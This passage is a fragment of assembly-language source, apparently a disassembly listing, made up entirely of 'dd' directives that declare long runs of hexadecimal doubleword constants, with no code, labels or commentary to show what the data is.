0D7038107h, 0E224877h, 0B2447ECEh dd 0CD800989h, 0FEC84BE9h, 924C7997h, 94EF5FAAh, 0F34A973Dh dd 86680910h, 6065F472h, 36085635h, 5EF70117h, 88EF9DC2h dd 680BFA0Bh, 0DBBBDD5Ah, 0BE716F7Eh, 136862C2h, 0D1C4BB5Ah dd 0E63B2870h, 0E6E84A9Bh, 7828BF4Eh, 0CC054AA7h, 6F07D971h dd 0EB870D78h, 0D3F7DD21h, 0E91008B1h, 24123B26h, 0C0B2F6EBh dd 166E98B8h, 0F572B757h, 0E2CDD709h, 0CCC50E0Ah, 24EE45ACh dd 803B4A44h, 523E72C6h, 0CE682923h, 0F728081Ch, 0C6011480h dd 0DE26FEC9h, 0B32FC2C8h, 8F219CCh, 0E12F33B6h, 0D56289E1h dd 781FC14Ch, 0E5DC65A4h, 0BA4753E0h, 0E85CB577h, 48C8E958h dd 0BE81AFFFh, 2021FC1Bh, 2817F865h, 0C3EF6638h, 0EBF407BCh dd 0B9CAEE5Dh, 0ED5399BCh, 4E255587h, 8E2DC6D9h, 0AC4B353Ch dd 673CC80Dh, 0CFDD692Ch, 5B142729h, 93BE5602h, 0D4131735h dd 2563C005h, 0C0F67D4Ah, 3548010Eh, 72CB62E6h, 0AE215D09h dd 70977D93h, 5E4EF54Ah, 0E4A510ACh, 0B15FC256h, 0EF4A128Ah dd 27E91AD8h, 197BB1AEh, 1B7FA7h, 53980C01h, 0DF87682Dh dd 0C07A4225h, 8C83B62Ch, 0B005AB02h, 7F72F94Dh, 70096E2h dd 0FA5EE95Fh, 7857C592h, 5959274Ah, 98CE9CEFh, 0E9F209F1h dd 0CEF66E25h, 6858091Dh, 42464EAh, 17DEE8B3h, 94A8F301h dd 0D3FE4BDFh, 0C9056DF2h, 2E1963E2h, 0E9828218h, 0BB4B17ADh dd 58E8FCF4h, 0D6501275h, 0A67948D1h, 22A1CC3Ah, 2C601D41h dd 7B2C816Fh, 5E2CBB8h, 17445BDFh, 0F46587FAh, 0AB85FAC3h dd 983DF82h, 8DF8F86Ch, 99CC015Ah, 313FFFBBh, 594419Dh dd 0AD44C0BAh, 9F86509Eh, 685504B0h, 53EA20Bh, 3B007718h dd 1B09A0F5h, 14E97E09h, 95505676h, 3250A4A1h, 0C031D5Bh dd 99F6810Ah, 38259E74h, 14F85B39h, 2FC85311h, 0E288FFEBh dd 0EF5D4BCEh, 0F3A70B79h, 9FF67294h, 5A1A4ABDh, 803002AEh dd 0C32879EBh, 500312CCh, 0E1E9C8B4h, 0B7BD1E18h, 0A0020AD1h dd 7A40408Bh, 0F3A05F56h, 230D10A3h, 1CD12954h, 811C0806h dd 0E815A14h, 18936CB3h, 82BA001h, 6830CCBh, 0E2863C0h dd 72906DFh, 5F40A6A9h, 0B603C280h, 0D028952Ch, 8AAA404h dd 6805DE1Eh, 18D4C4Dh, 7C614EE0h, 0C2E3FD49h, 1F96F75Eh dd 0FFEA0725h, 0EA9DD116h, 0DEA86221h, 4301126Bh, 10A04EBAh dd 37F8ABACh, 0F6A2FC5Ah, 0A45B4879h, 9E92FD4Fh, 9652C156h dd 0E85DF1EFh, 7FF5D293h, 9F4F7138h, 887ED28Bh, 2ABA55EAh dd 0C303F6CEh, 469A6BF1h, 1C84B401h, 49CB0813h, 5AE70A10h dd 0C49937BBh, 7331FC75h, 614AE698h, 0DA299705h, 60980AC0h dd 0AE2148A9h, 0BEF28B15h, 0E8171E13h, 4486C401h, 7910D9FFh dd 5DE98538h, 437F91FEh, 0D1F6005Ah, 4B236F68h, 0AF34CAC5h dd 92DF6EB2h, 0EB85C442h, 0BBD262A3h, 0E917B4CEh, 38EDA1B2h dd 272C5A48h, 21050568h, 0F45A663Dh, 6C0F42B0h, 0A5B172Dh dd 2F2C07F3h, 5445E958h, 0DCBC8E5h, 2FF974CDh, 6E7816h dd 30676857h, 9D5F6D7Eh, 96D611C3h, 8F13AF4Ch, 0EC5A50BDh dd 78A4431Bh, 5D73DB2Eh, 8FBAFEC4h, 145925F1h, 545025CFh dd 2FC96775h, 42350900h, 6A14EF29h, 25D4E883h, 51BC61A1h dd 2FD4F16Bh, 22E5B3EDh, 80F8CF72h, 12F45F4Ch, 7941C2ADh dd 52706A10h, 0C8DA6130h, 0AE246D28h, 0DC4B466Fh, 7F8CEC75h dd 4F4EB173h, 8A231589h, 0CD91D189h, 35D86A59h, 0E95D88E8h dd 3A47E4Ah, 29A10FE6h, 0C66466DDh, 101FB98Eh, 0BD5ACDE0h dd 1897A432h, 0D7FEF182h, 51F84ACEh, 21FF974Fh, 41D0F7D4h dd 3D3A4EBh, 0B8242056h, 0AFA2554Bh, 0C415B6C7h, 36BCBA51h dd 1EB4E676h, 3C0A3022h, 0BA3C3AB0h, 0A4094118h, 5A7B6869h dd 347A20F1h, 0E273E690h, 0FA92C33Dh, 3EF9447Bh, 0FA9235EDh dd 0D0524C22h, 54F3977Dh, 752FE9E2h, 58C55620h, 0DF09DBBBh dd 0F0018652h, 0AE033099h, 54E8BA4Ah, 0DC7E102Dh, 48B00195h dd 605E3F12h, 5097026Dh, 6D9C030Eh, 0F789C41Bh, 0BCF20DEDh dd 6E8ED989h, 62F41112h, 66BB0753h, 0F40DBE08h, 4BD8A8EFh dd 0A40139AEh, 2B122C0Dh, 68E031FDh, 0A0A82AFAh, 66956E4Ch dd 8033A4E6h, 827729E1h, 89839209h, 0FBC4DD98h, 0E9E188A8h dd 0BCEE3520h, 25641891h, 12D0ED31h, 0B0E272ABh, 0D9FE521Fh dd 0BC75649Dh, 0AC98882Dh, 0C2C05B12h, 4041300Dh, 43316829h dd 53B1B769h, 0B9059E73h, 941D1Ah, 5F7DC9F4h, 41771C5Eh dd 7293F104h, 1BAF7CC8h, 5A0506CAh, 60162D13h, 574B398Bh dd 8E71E35Fh, 2D27505Fh, 5AB958DCh, 0D67304D3h, 8E8301Ch dd 8885D539h, 17A2E500h, 0D781F58Dh, 36FA02C3h, 0BF0F5B7Dh dd 0F7C904E3h, 60308F66h, 0E0CE0E51h, 5E251C3Bh, 4D0E6EE8h dd 21F96507h, 0F0EB1968h, 5C0E0A3Eh, 43026691h, 885BF1BBh dd 6381B861h, 10E83019h, 0F3A63B00h, 8DB98452h, 6EE60E57h dd 0BC00FA4Eh, 0BF9DFBC2h, 0EF2669E2h, 33069D22h, 447CD38Bh dd 90007A0Ch, 1527E025h, 338E797h, 0FE33156h, 250B0383h dd 54AEC980h, 3ED9002Ah, 8B66231Dh, 4FCF95Bh, 324B9C0Fh dd 60D2CB3Dh, 0BAF68F80h, 6B5C4DDBh, 74476046h, 8543B3h dd 56F58BD6h, 38F0CB2h, 0CDBA6609h, 14BB8097h, 0A61DC836h dd 40F0008Eh, 3DA402FAh, 8401AA75h, 834D3551h, 8EDE0F17h dd 0CEB7C552h, 0D4105EE0h, 0A6041247h, 0D001A9AEh, 79850FFCh dd 0A2309583h, 0EC6545h, 27C9D8A2h, 7F4F41F4h, 9A16C800h dd 725A59DDh, 28EA008Fh, 4A502C20h, 0F30E61B5h, 403CDBF7h dd 0D62E1C2Dh, 97A91F48h, 7D803EFBh, 3A1F2FD5h, 0FF0735D3h dd 0DB5BF359h, 45C4ACFh, 6F5B170h, 3A744ECAh, 55001817h dd 7FD4ED5Fh, 7DD176h, 0B6F483C8h, 745E15E5h, 877CFC01h dd 0E3505566h, 8F0D2990h, 583D51E6h, 0E2447844h, 19084F9h dd 422429C8h, 0B12FE89Ch dd 969D8D00h, 959E89A9h, 2578B00Eh, 23C0BF9Ah, 357B9768h dd 7905006Ah, 20626D92h, 1AFA7536h, 6B7F3801h, 6A80371Bh dd 10DD1080h, 0A922CAE0h, 3F051900h, 0B3FAEC46h, 0A570007Eh dd 0DC839DBAh, 0B8F86152h, 370026E2h, 0E8423ED0h, 112970h dd 48ABE7F2h, 0C8F91EBAh, 0A004970h, 0C0D28FAFh, 7D4783h dd 0CC53ADE2h, 0DEC99242h, 95FBBC00h, 39B83162h, 0BBF003B2h dd 0FE046521h, 2F0516C0h, 0E207C1Eh, 0F2BD23C7h, 0B0EBBC20h dd 0FB9F0483h, 0C1BF2BE2h, 405E587Ah, 3140F3DCh, 19F57000h dd 42FC773Ah, 1740145h, 0E5804149h, 0F9088030h, 6E614E29h dd 55500048h, 264C4452h, 5300355Bh, 234C225h, 0E8D683D9h dd 0A2DF00E4h, 8832CD99h, 2500BBF4h, 0A18A8CEBh, 0C0B909E9h dd 18B31B0Ah, 21EA1FDFh, 6A27F800h, 7F461E7Eh, 90AE0223h dd 0DB1DA848h, 2776BF60h, 77AB9400h, 0F1198322h, 0A39A0091h dd 547A84F8h, 0C302FCACh, 22DAE0CFh, 0C840401Dh, 3F433A52h dd 3C4E6D07h, 474B81C3h, 4D31FCD0h, 33C2D600h, 3E7DC44Fh dd 525B3A6Ah, 5C296400h, 0C52A753Ch, 2D7E6D07h, 0EBF076C8h dd 341223Dh, 5A2EF33Ah, 30AF8399h, 9C289891h, 0BE6CAE00h dd 389A55D6h, 85A90179h, 806435C1h, 1D942417h, 0F5C9B700h dd 974FBDAFh, 1A69006Dh, 879EF9D6h, 1300ACB8h, 78AD0722h dd 0BA3A9Ch, 64AF3E93h, 0A4257585h, 0BFE2F200h, 77463613h dd 7B510729h, 245D1019h, 0FE2880C8h, 0F5006DB1h, 0F870B689h dd 746AB782h, 0DFD100F4h, 5DBF3E73h, 0A01981C8h, 8398E09Fh dd 37110700h, 980A7203h, 0A0E37A45h, 2BBD84h, 57C4ED5h dd 96B0440Bh, 0B5292000h, 9A586C5Eh, 0B36D00DBh, 14B9CE0Eh dd 9E07347Ch, 538FED42h, 5ACF2h, 0D8CFD66Ah, 0CE26A872h dd 0AD004477h, 0F080CD73h, 4B7F011Ch, 0E0BA70E6h, 0C809306Eh dd 0A6006574h, 0B966B444h, 64EA45h, 0B6FB1776h, 0ADFE71F1h dd 7DA10C01h, 0EE14E1Dh, 906CDC8h, 1A2E9313h, 56C40400h dd 0CC004337h, 0D7503259h, 0C04B3F5Eh, 0CEDA5161h, 0E0765B6Fh dd 78866A3Fh, 3D885203h, 0C88960B8h, 18A59B9h, 0FFAAA491h dd 20231A4Fh, 4220EF04h, 140100FEh, 98F61C18h, 740AA79Fh dd 8890F461h, 54007839h, 0F6DEB5FCh, 0F0FB5Ah, 6F94D7C8h dd 8EAD4A1Eh, 0EEFE28C0h, 2F17CEh, 699E8D2Ch, 0D67E95F4h dd 0C4B4D900h, 0FA5A34AEh, 759A0244h, 7383C665h, 0C4992848h dd 59A5EC05h, 4C803AD0h, 27E1Eh, 0FA696242h, 10C58035h dd 91D72200h, 0C664799Bh, 95ED0732h, 0B0C3D53Fh, 1CE167ADh dd 0B26D300h, 0EFB88E40h, 0D2421CA8h, 0ED0180C9h, 0A6FFCFC0h dd 0F0323D00h, 0DF460A41h, 0BA792C31h, 11D80022h, 0C0C71FF3h dd 1CBB2C2Ch, 9A46CA80h, 264425E9h, 75F8C15h, 0B0D65A0Dh dd 0A2A08A94h, 376B3200h, 0C15FA37Ah, 9D6A001Dh, 98145D99h dd 0A0002842h, 90B9A2FFh, 6B8B2Bh, 5EDCF90Fh, 9D13B0C2h dd 0BD029898h, 77CAA63h, 0E06212h, 0E1DBEA0h, 0E5AC00A4h dd 6E9B2E8Bh, 0FF041676h, 4BEFF529h, 87B4ACC0h, 0DF603F3Fh dd 5C2B6C80h, 2A887165h, 42AB9100h, 0C8F3D916h, 0CF9401FBh dd 2C99CBFEh, 0EA08D8E6h, 8EA55500h, 8CFD8597h, 0FB830195h dd 0E3564DEEh, 0A8A3E065h, 456E5F0Eh, 1B722455h, 3184C80h dd 190F0373h, 140C7E9Eh, 21177BC0h, 1DA10D00h, 1FA2F2E7h dd 12AE7115h, 2026B3Ah, 0AC0C7902h, 9CF5D040h, 0F87D4E00h dd 6E3BABE5h, 4C9024h, 73AA5F23h, 7F6FD2A1h, 4707E200h dd 0B32D273Eh, 538B16F8h, 7A604043h, 0ABA2F46Dh, 1A09C700h dd 0AA067736h, 0B03Bh, 8F9B3EACh, 0E87CE9FCh, 3A1AE100h dd 5CAEA406h, 0F9A901D4h, 921807C3h, 3C0874E6h, 7B0F2F00h dd 880A1284h, 0F717008Fh, 0FD218C83h, 87019289h, 2A989327h dd 85F9BE22h, 0F5C0D4h, 0FEC1188Fh, 49C21190h, 37627C04h dd 0B890D207h, 36DBA7h, 0D34CC1A0h, 2DD10565h, 0E157B90Fh dd 0A0974FAFh, 599BCD56h, 0E8327DFAh, 6BC009F0h, 0B48783FEh dd 400760CAh, 3B007A08h, 0EDBE2CE7h, 5C385E75h, 8D30C55Ah dd 4BFF1028h, 0C4B66305h, 2CC04759h, 1F386EC6h, 40615467h dd 291FE44Ch, 0DB3A103Ah, 94340A89h, 0FB009C96h, 2043AF01h dd 7F1E09B9h, 3080B5ECh, 5D8CBF44h, 1AE87100h, 6F766713h dd 97450099h, 63DFE989h, 14002220h, 0F0BA2CFBh, 33A47A9h dd 717B92A2h, 0CAB9C645h, 1CC8F619h, 4807D7A4h, 188BC1D2h dd 144E37E0h, 39E284h, 0C7DC93Eh, 0CD5DD0B8h, 85EF6B02h dd 0C01462CFh, 781269h, 0AB93B9B2h, 51692271h, 5BA73200h dd 5644DFD9h, 68E4005Dh, 84A9C22Fh, 9D070F7Fh, 9CE9C942h dd 5D95580h, 0A7D50h, 0B08A1045h, 5248CA51h, 26694007h dd 0D6A065C7h, 0AE81BBFh, 0DCECF8EAh, 19C900BAh, 58D50C6Dh dd 956F0300h, 9F107546h, 0EFD700C7h, 0A285F3F2h, 2200129Dh dd 0FD361DDCh, 0B0D9F783h, 9557F58h, 8651D13Eh, 828DD4A1h dd 908BECBDh, 9D83BF00h, 7A81AD92h, 288A1E95h, 22807E9Eh dd 237367A0h, 7260689Fh, 0E898C510h, 882F48B2h, 9226ED00h dd 0CB38E73Fh, 66003EEAh, 0C0F75D46h, 7670D132h, 0A8927Eh dd 0C83D4814h, 0F8C11257h, 0C798E400h, 394180FAh, 9EF30B7Ch dd 4F006B4Ah, 1406C63Dh, 0CDAE3809h, 159C00AAh, 407B04A2h dd 0B4D2021h, 0A6060700h, 0A3801C14h, 3F4E91Fh, 0FAEEA5A8h dd 96E3A7AAh, 0A734288h, 81023CEAh, 0C24D93F4h, 0C576C0FCh dd 0B3ED1DFFh, 22E9283h, 0B2872B9Ch, 38485300h, 8CD100ECh dd 0E6F31920h, 0B5B86B29h, 0DCC62600h, 0D6FF3E42h, 2537006Eh dd 0AB4169DDh, 5D00B0BEh, 185B19A6h, 0CC4BC60h, 0A1BB94A0h dd 0D79EC19h, 141A7200h, 1582FA16h, 95FE1F12h, 7C13FF88h dd 9D040085h, 0EA47E098h, 0FA86D900h, 68069629h, 65300088h dd 0A34574C7h, 0A001AE3h, 0B178995h, 0F52438h, 7C57CD5Fh dd 7DD73725h, 0F7F4B3F6h, 9442FB24h, 55DFE400h, 3F11F1A2h dd 8D0010A7h, 0DE3A44E1h, 8E0098F5h, 0E9B3E39Ch, 0EEA19A5h dd 13792E1Dh, 0E0661780h, 0B8006358h, 0B76201C4h, 0FC854AC1h dd 82320F8Dh, 7480BA29h, 7C48C314h, 0D100F3E0h, 57703E76h dd 1F7FF19Bh, 0BAD23F0Ch, 8DF52D00h, 273A6FD9h, 3E006A48h dd 594B8008h, 0BEAF9901h, 81500740h, 404A3D17h, 5BCA4718h dd 0DB0F3419h, 4B201AA8h, 0E003780Ah, 0DFAB00C1h, 0F4EE5F46h dd 0D8DCDE26h, 2376EC00h, 78E59B3h, 820EB685h, 0BFC760CCh dd 0A0008D48h, 9A90E2ACh, 1D315102h, 40FB408Bh, 0C5951938h dd 4805320Fh, 45BCCCD9h, 7A034C0h, 0A1FD0F2Fh, 4093CDE2h dd 6D1A0A5Ch, 0C6008193h, 35A5D6AFh, 3B99AB36h, 7CFCF2A1h dd 6E203A5Fh, 54B63300h, 0F96ABBE9h, 98A1701Eh, 19789870h dd 52511DCAh, 67FB001Eh, 9A035F6Dh, 4F7EAF07h, 0BCE0408Ah dd 1DA6074h, 63E54AAAh, 20DE31B5h, 3C98E210h, 39705E00h dd 12640B54h, 1DC4005Ch, 0E317E8F1h, 50005A6Dh, 41EF81C1h dd 0C3920976h, 0B4F13D48h, 8008D7A1h, 0D5FACB08h, 3DCF155Fh dd 2B80AA46h, 35C391B3h, 7C1634BCh, 8C407FADh, 0CBDAF3C8h dd 15EC0058h, 877BF602h, 2400366Dh, 38237CD4h, 0FD72EAh dd 10A3734Bh, 0E40ABE90h, 42603513h, 1C006312h, 0F5F4E645h dd 6ABC0087h, 8FA382F2h, 9CB27AEFh, 7E4D300h, 98F8C2B7h dd 0C47958A7h, 374122Ch dd 999B0BADh, 0F89507D1h, 8E00F18Bh, 3CEB8DA5h, 2E15BB7h dd 5A52CE39h, 79C0C72Eh, 7C19962Dh, 986181E0h, 127D3C74h dd 0EBF609Ch, 558470BDh, 0E150B1C5h, 0AA108838h, 489E1Bh dd 34BC82Ah, 11001F28h, 7677FD1Ah, 14FF68D9h, 0E2FC8A8Ch dd 0BD33007Ah, 9E230829h, 0C9EDF78h, 3BA15403h, 404AC7DBh dd 18F3E403h, 81210626h, 31D3C43Bh, 95C5DC00h, 4AC70334h dd 0FB060040h, 9952605Ah, 541D293Bh, 30A89DDAh, 1A50BAE2h dd 7681686Ch, 0EC885C8h, 1623A583h, 7ADD5361h, 0A17BEC5Ah dd 0A6C55B00h, 0F7A0219Eh, 0E67C0114h, 0C4DAAE04h, 9533C0B3h dd 7240CC00h, 8C66ADD8h, 80F034h, 24C66750h, 0FEB3D00Eh dd 0E73D3F00h, 0ACFC145Ch, 0A1CF0079h, 7C738CF9h, 0A3C2506h dd 0B47280A4h, 483CCC18h, 11A20005h, 0ADC2DD77h, 0A800B619h dd 0B58B545Fh, 19E406AAh, 0BA4FDCBAh, 0D449F0CBh, 1A908900h dd 0F496E104h, 7D98001Eh, 4782E81Ch, 0D42AF295h, 0FF1E8010h dd 251728D8h, 141C12FCh, 7D946AE0h, 5303E974h, 1E40DCC2h dd 0BCA4DF14h, 0DD18F174h, 5B11B072h, 55500A87h, 31C7560h dd 0A1741E2Fh, 44FD1107h, 1706D650h, 4BF90681h, 112FD51Dh dd 0B0469F02h, 549A76h, 401BF21Fh, 0F8845AF2h, 4B9902F8h dd 2C1D7ECFh, 0BEE0848h, 5B3AF07Dh, 5F9D0166h, 98FE7FDEh dd 535281DBh, 73D21089h, 4F330410h, 0BC04A12h, 833FD70Fh dd 0F0D31EF2h, 0C241BA2h, 6C9A1066h, 0FAFE9238h, 5E1C841Fh dd 695AD0Fh, 10805Ch, 27E36772h, 12F029B5h, 1F411A03h dd 0E7980728h, 0ED2F1441h, 8D7ED2F3h, 3BF0F214h, 525B18DAh dd 0D60EB8BDh, 3F8090B4h, 96269A25h, 81BF0D08h, 0E708209Eh dd 8A2158h, 93CA2A9Ah, 0A154EC1h, 50E428D1h, 9FFA1EE4h dd 1902897h, 0A074F05Ch, 806CB0C7h, 2651DBB0h, 0EEF30A2Ch dd 0F8D649C4h, 2185438h, 9BE7F165h, 77161820h, 5A2317AAh dd 204E1808h, 0CE0A101Fh, 20C3F02Dh, 8C133670h, 89F0DC11h dd 0DDD1140Ah, 0C529FC4h, 9F187039h, 0F25D9E0Ah, 2A05F45Eh dd 0FC405977h, 0E7BB023Ch, 0D00751D2h, 6FD4A6FEh, 0A190021h dd 21E822BBh, 0E2F4A5E4h, 9814D52Ah, 59C91A00h, 0AF91BF0Ch dd 6AC5002Ah, 0BCD7DD84h, 5D0A2367h, 907498DFh, 9A771A03h dd 2A593D62h, 0CC6AAAh, 85AEA4FAh, 83E8DC53h, 0D9950D1Ch dd 2F03C0AEh, 0F7BBD849h, 7BD65660h, 0F11F5AF7h, 4106DB4Eh dd 0CF7485F2h, 0B81E0EF9h, 5160699Eh, 0D1AE05BBh, 0D60D6D00h dd 3F914F08h, 0F6F40121h, 2590F2FDh, 401AC4FCh, 3DF72A09h dd 0F0C0016Eh, 0FE16DA73h, 54216007h, 2D5F3B29h, 38010841h dd 0F0EC2B1Ah, 11D52AFBh, 7428008Ch, 0D43CFA15h, 2100BA97h dd 0B8B693E6h, 793926FEh, 76FC0ACBh, 82885E92h, 19B058D1h dd 0C9C63440h, 24E0E720h, 8CCB7CAh, 5506A4F9h, 0CF97F5Ch dd 0BB9791F4h, 8B0C8518h, 5153772Dh, 0CA1A1268h, 1290C0A4h dd 72607393h, 2B308139h, 58C60071h, 0D95F94D3h, 72132157h dd 9805339Ch, 1481D2E4h, 51807076h, 0E2CF329Eh, 847322A6h dd 7F008071h, 4ED12148h, 13811F85h, 45F29CBCh, 8873296Ch dd 0E8049DA8h, 0E2F50298h, 69FC08C2h, 2181680Ch, 7998F03Ah dd 8BB33061h, 0AB16D31Eh, 0E71E01C1h, 20206D80h, 7DFC05FDh dd 88D5C472h, 9C49F34h, 0B0C873EFh, 11680256h, 9826A7EBh dd 29EFF048h, 14250D00h, 0C2DF214Bh, 23E4011Ch, 76DBD0E7h dd 1F49939Ch, 7AC65420h, 4AAF00D1h, 887F0403h, 0FF1855F3h dd 0BE69DE73h, 0B6F402AEh, 7408474Ah, 7300E064h, 0B8114CFFh dd 0B0302E49h, 527730D8h, 0F2530161h, 0D3630B00h, 0CAFBBB0Fh dd 0F1FE1425h, 417BE8DAh, 2BA400B7h, 828C718h, 4128076h dd 0E03A2054h, 661C6423h, 0EDBA7B80h, 6985DAh, 56187E2Bh dd 2D462835h, 0A3C5FD05h, 48C39EA0h, 0F6FC90ABh, 0B41952D4h dd 81FB8F00h, 3948D7BAh, 18E4BF58h, 712116D5h, 0C4F01F7Ah dd 0FA618069h, 0EA8CC9E8h, 0BAD11314h, 0F86A9C8Ch, 2390D901h dd 0F4AA8E8Dh, 303A33C4h, 0B929D874h, 0CA00E4C8h, 7769D2BFh dd 10D667Bh, 0E9239192h, 415E092Bh, 0E38CD6E8h, 1224CCD4h dd 0D9EC7571h, 0A89E2500h, 4163EC96h, 0A33D0076h, 1D0A8587h dd 0B01224FCh, 0A4205D55h, 426BCA7Ah, 0A26053C4h, 1E573064h dd 0D5BC5500h, 6054DEC8h, 0F4215819h, 40282D8Ah, 0F50698E4h dd 91400221h, 0EC3E076Fh, 0B00D498h, 4CBC58D3h, 0F2040C21h dd 0BD5FC1h, 700ED624h, 500C762Ch, 12F2DC96h, 20DF8FA9h dd 0AB985F20h, 3C44734Ah, 2D0B1EFDh, 5EDF1404h, 0B3B803C2h dd 746C6952h, 0CEF08C49h, 17530994h, 0B484D12Ch, 0E490896Eh dd 0C4AC2E09h, 4E770104h, 0BC800322h, 97AF195h, 7E58D796h dd 0AC056009h, 0C8C88BF9h, 4D63C023h, 5A00010Dh, 30B861E4h dd 165258F9h, 32AE10h, 0AB59F770h, 0D026F822h, 6580E895h dd 0FD30BAB6h, 6A643A04h, 1F58007Ch, 2FA1F8C3h, 0A898743Bh dd 0B0405242h, 2C00E56Bh, 0B102A925h, 22F50AFDh, 0F50E240h dd 38D4E2D5h, 0C8B8E01Ch, 0DA28B5Bh, 9A266C90h, 10962711h dd 0DD8B2B88h, 7782822Dh, 0A1D44969h, 43E405D9h, 0DC4507A8h dd 0D0E6710Ah, 8774B8DEh, 3E0AB1B0h, 98068C98h, 6BD4CF1Eh dd 80B01ACh, 5BB06313h, 38470425h, 784FF0FAh, 3F2E0B09h dd 98C854F1h, 7B583193h, 0B78640C2h, 941C3AC0h, 88458B18h dd 0F0102556h, 0FAFF81F4h, 0F8452601h, 0B5421827h, 75F04197h dd 8E1D4F10h, 8200AC0h, 28E92D67h, 2185425h, 28D0E6B3h dd 6C401A34h, 992053h, 6138ED8Fh, 66941CB3h, 1CFBBC8h dd 0C42B0C37h, 80C972E4h, 0B7AD1B29h, 1C0D01h, 6458E8F9h dd 0C63E493Dh, 0F7FE7D3Ah, 5DFBCCA0h, 8ADAFD0Fh, 0B4C79D4Ch dd 42C989F8h, 0F2BC4164h, 82CAB860h, 0CC209C1Ah, 9676FB9Ch dd 0C1115F65h, 0DA04E383h, 0B1C4473h, 78CB2647h, 24FD3400h dd 2CB86186h, 0C1FC2D4Ch, 76626E3Eh, 3CDE0D20h, 0D41854AEh dd 47026930h, 60D7CF00h, 46DA4D1Fh, 3E08003Ah, 6BFDFB7Eh dd 54AEA2Eh, 6C06A840h, 2E946803h, 0A9645C98h, 2EC300CCh dd 31D1261h, 6113D530h, 10C5F7Ch, 0A84C6442h, 0C0AE5BD4h dd 3A241547h, 0FC1188BAh, 61E8FE28h, 5F0278EEh, 8A80ED96h dd 0B5044DE9h, 0D287FA1Fh, 0C240A1C7h, 48844138h, 0ED2EF0ACh dd 6027C09Ch, 51465426h, 1D3DCD22h, 9C9A8430h, 98C3DF27h dd 10693C71h, 0F0B42484h, 7638B0C9h, 0D0DC302Ch, 27685884h dd 746688D0h, 0E751C0D6h, 0E40A4A51h, 61686200h, 1726FDD8h dd 82150033h, 53F31222h, 0B4045C24h, 3C2E353Eh, 0CA0850A6h dd 0BD816076h, 0FC5F5011h, 746BB041h, 0B023072h, 37AD4A1Bh dd 492B060h, 0FBEF5D06h, 0C16C74h, 7C0D809Ah, 6BAAEC57h dd 1CA09500h, 3AE8554Eh, 0C8BE012Eh, 28EB3619h, 75A422FBh dd 4C022B7Ch, 26200C49h, 50889174h, 0A14AE8CBh, 0E28F0042h dd 0BFF1B035h, 5031BF0h, 5CF821EBh, 8859480h, 0EE2DB420h dd 2C170E6h, 663E22C3h, 0A8AAA210h, 616D0488h, 5A3A8145h dd 9AA84146h, 66DFE1CAh, 12B2384h, 0F50498E6h, 886F18D2h dd 9800EE3Ch, 0E8F616C3h, 57406FDh, 775E0B83h, 1AAC406Ch dd 0E2C96DE9h, 0F2D83400h, 0EAB992E3h, 814705EDh, 40D773BEh dd 950A2CB4h, 80037C48h, 6AC5F078h, 0D601C070h, 0CB7D801Ch dd 903C45EAh, 270A00FBh dd 2F4AFAE9h, 0D8834CE5h, 0C5BF809h, 9A23CCB0h, 184E98B0h dd 0DE002Ch, 0AF2D9A2Ah, 0B2D2E841h, 0E11278B8h, 38025CF3h dd 2FDCC457h, 0FF2EAF20h, 8424773Ah, 0A03E5879h, 0D1870434h dd 0A4A1769Ch, 483A33F0h, 0C4294114h, 10C2B23h, 0BB0F74BBh dd 6711E4h, 0CABB091Ah, 305456h, 2177FDC1h, 852438Ch, 7864E630h dd 2098C7A0h, 50021C63h, 9028D916h, 0B7D032Eh, 982B20F7h dd 765A239Ch, 99F40407h, 0FC18B635h, 0B8B59EF0h, 6FC600F0h dd 0C1FB0321h, 20C3CC4Fh, 926EEF5Ch, 23209E28h, 6002B8B5h dd 5A748198h, 3AE90040h, 190130D0h, 6D262BA2h, 0BD069577h dd 0F1B275h, 0B5FF629h, 0FA4BFC0Dh, 550E2701h, 5AF417F5h dd 60EAAAE3h, 0E9F31997h, 7814F1C0h, 0EB240038h, 200FF44Bh dd 70E9F646h, 0FE07F7D0h, 2ED452FAh, 0F2EC7ED0h, 0F6391CF5h dd 105800F8h, 11610DFFh, 56F4091Fh, 0A3385B94h, 4F203CDBh dd 4618A574h, 513E08D6h, 0B0DCFAFEh, 0B54E340h, 77DF215h dd 5AF609EFh, 0CC868BD6h, 361E2811h, 40002FEAh, 34EFF307h dd 685B50D5h, 0EB313C16h, 384E6975h, 4E808D3h, 20ACD48Bh dd 7ADF9664h, 5E161C15h, 0B4640F58h, 0D6EF7FE0h, 0B7503460h dd 0F75A2DE0h, 859F1003h, 7EB6F350h, 28267818h, 5A08DA30h dd 420421Eh, 8097433h, 84022C38h, 427598EFh, 720C314Ch dd 8C0C88A3h, 9A3079F4h, 0A4ED3090h, 0A6185859h, 18922D79h dd 401614DFh, 7094560Bh, 0EF83FD03h, 0F1590A76h, 85789281h dd 81B540Bh, 0E477BA58h, 0CFF23BD2h, 0EFFF91Dh, 2FC1FAB0h dd 5C09ACB2h, 201801D6h, 10E798CCh, 5A28C382h, 0DA8BD2BAh dd 40C79FA1h, 9B76DB0Ch, 1442515Ah, 1B3048h, 542C5FFAh dd 0F4607A26h, 14887C3Eh, 52D25BE0h, 4E0BAB04h, 991001DEh dd 0A0F3F50Fh, 0DEEA085Ah, 66551D19h, 0A1F242D0h, 9AD95880h dd 59539625h, 2BE2A264h, 554A007h, 0BC8C5080h, 0F9058621h dd 0B8211399h, 80837CF3h, 75A9C65Bh, 0DFF2190Ah, 2C65F8F8h dd 5BF9E004h, 10695CC2h, 0A6203084h, 9740C6B6h, 2839C1D3h dd 228C53B8h, 40E48DD7h, 0D2FEBAFCh, 997C604Ch, 8809A598h dd 97B3D690h, 0C6145CF3h, 5173F066h, 585FF914h, 0F1EFC288h dd 82B4E2DFh, 22B70964h, 9493CF84h, 54514016h, 0C42F02Dh dd 73852558h, 99467180h, 0D7F3140Ch, 9AFB0B8Ch, 4204155Dh dd 8899D71Bh, 0F1E08A2Dh, 9A10F47Dh, 0A5C9C782h, 0F9B8402Ch dd 8A5A878h, 80A11328h, 8C997746h, 57F52F0Ch, 0CFFB48A4h dd 1591E20Ch, 5221A828h, 2B799162h, 0D29A80C6h, 540C3099h dd 5C8CA013h, 0FE9C9160h, 9CA87147h, 0DBB1C986h, 0D942A03Eh dd 829C18C4h, 742E1414h, 7421D6D8h, 61AB3874h, 1608E250h dd 5F72283Eh, 0BE7644E4h, 81DFA8A6h, 79D1730Ch, 0ABD8A69Eh dd 589BE430h, 934CD02Ah, 2846542Ch, 7EF623BEh, 0F1741895h dd 2442F8F3h, 0F78B77Bh, 1091337Ah, 0DC509950h, 30718A74h dd 7A560980h, 0FEDB55Ch, 9480CF83h, 38A97198h, 729C0482h dd 0B0813C51h, 1EC3C46Bh, 